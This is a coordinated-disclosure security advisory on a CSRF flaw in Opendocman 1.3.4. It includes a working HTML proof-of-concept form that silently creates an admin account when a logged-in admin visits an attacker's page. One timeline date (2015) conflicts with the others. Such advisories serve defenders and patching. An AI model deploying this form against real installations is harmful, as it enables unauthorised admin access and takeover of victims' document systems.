Opendocman 1.3.4: CSRF

Opendocman 1.3.4: CSRF

Date: 2016-02-01 10:18:02
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Opendocman 1.3.4
Fixed in: 1.3.5
Fixed Version Link:
Vendor Website:
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 11/21/2015
Disclosed to public: 02/01/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview


Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P


Opendocman does not have CSRF protection, which means that an attacker can perform actions for an admin, if the admin visits an attacker controlled website while logged in.

3. Proof of Concept

Add new Admin User:

<html> <body> <form action="http://localhost/opendocman-1.3.4/user.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="last_name" value="test" /> <input type="hidden" name="first_name" value="test" /> <input type="hidden" name="username" value="test" /> <input type="hidden" name="phonenumber" value="1214532" /> <input type="hidden" name="password" value="12345678" /> <input type="hidden" name="Email" value="" /> <input type="hidden" name="department" value="1" /> <input type="hidden" name="admin" value="1" /> <input type="hidden" name="can_add" value="1" /> <input type="hidden" name="can_checkin" value="1" /> <input type="hidden" name="submit" value="Add User" /> <input type="submit" value="Submit request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 1.3.5:

Please note that a newer version might already be available.

5. Report Timeline

11/21/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of disclosure date
12/19/2015 Vendor sends fix for CSRF for verification
01/13/2016 Confirmed CSRF fix
01/20/2016 Vendor requests more time to fix other issues in same version
01/31/2016 Vendor releases fix
02/01/2015 Disclosed to public